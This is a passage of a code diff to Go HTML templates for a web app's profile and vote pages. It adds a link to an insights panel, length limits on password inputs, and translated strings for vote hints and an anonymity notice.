color: var(--tb-text-muted);
}
html[data-theme="dark"] .profile-tabs {
border-color: var(--tb-border);
background: var(--tb-surface-2);
@@ -471,6 +509,16 @@
<!-- 提示条置于面板之外:任何面板保存后的 flash 都可见(面板会被 hidden 隐藏) -->
{{template "base/alert" .}}
<!-- 数据面板入口。刻意不放进上面的 tab 栏:tabs 是「改设置」的横向切换,
而数据面板是一个独立的只读页面,混进 tab 会让 tab 栏在窄屏上挤成六个。 -->
<a class="tb-entry" href="/user/insights">
<span class="tb-entry-body">
<span class="tb-entry-title">{{t .LangCode "insights.entryTitle"}}</span>
<span class="tb-entry-desc">{{t .LangCode "insights.entryDesc"}}</span>
</span>
<span class="tb-entry-arrow" aria-hidden="true">→</span>
</a>
<!-- 头像/背景裁剪弹窗(Cropper.js):确认后把裁剪结果写回对应的文件域,随主表单一并提交 -->
<div id="media-crop-modal" uk-modal>
<div class="uk-modal-dialog">
@@ -897,7 +945,7 @@
<legend class="uk-legend">{{t $.LangCode "admin.pagePassword"}}</legend>
<div class="uk-margin">
<label class="uk-form-label">{{t $.LangCode "admin.pagePasswordHint"}}</label>
<input name="password" class="uk-input" type="password" placeholder="{{t $.LangCode "admin.pagePasswordPlaceholder"}}">
<input name="password" class="uk-input" type="password" minlength="6" maxlength="30" placeholder="{{t $.LangCode "admin.pagePasswordPlaceholder"}}">
</div>
<div class="tb-card-save">
<button type="submit" class="uk-button uk-button-primary">{{t $.LangCode "admin.updatePagePassword"}}</button>
@@ -912,7 +960,7 @@
<legend class="uk-legend">{{t $.LangCode "admin.askPassword"}}</legend>
<div class="uk-margin">
<label class="uk-form-label">{{t $.LangCode "admin.askPasswordHint"}}</label>
<input name="password" class="uk-input" type="password" placeholder="{{t $.LangCode "admin.askPasswordPlaceholder"}}">
<input name="password" class="uk-input" type="password" minlength="6" maxlength="30" placeholder="{{t $.LangCode "admin.askPasswordPlaceholder"}}">
</div>
<div class="tb-card-save">
<button type="submit" class="uk-button uk-button-primary">{{t $.LangCode "admin.updateAskPassword"}}</button>
+2 -1
View File
@@ -137,7 +137,7 @@
{{ end }}
{{ else if eq .Vote.Type "multiple" }}
<div class="uk-text-meta uk-text-small uk-margin-small-bottom">{{t .LangCode "vote.page.multipleHint"}}(最多 {{ .Vote.MaxChoices }} 项)</div>
<div class="uk-text-meta uk-text-small uk-margin-small-bottom">{{t .LangCode "vote.page.multipleHintWithMax" .Vote.MaxChoices}}</div>
<div id="multiple-options">
{{ range .Options }}
<label class="tb-choice">
@@ -268,6 +268,7 @@
{{ if .ShowResults }}
<div class="uk-card uk-card-default uk-card-body">
<h4 class="uk-margin-small-bottom">{{t .LangCode "vote.page.resultsTitle"}}</h4>
<div class="uk-text-meta uk-margin-small-bottom">{{t .LangCode "vote.page.anonymousNotice"}}</div>
{{ if .Results }}
{{ if or (eq .Results.Type "single") (eq .Results.Type "multiple") }}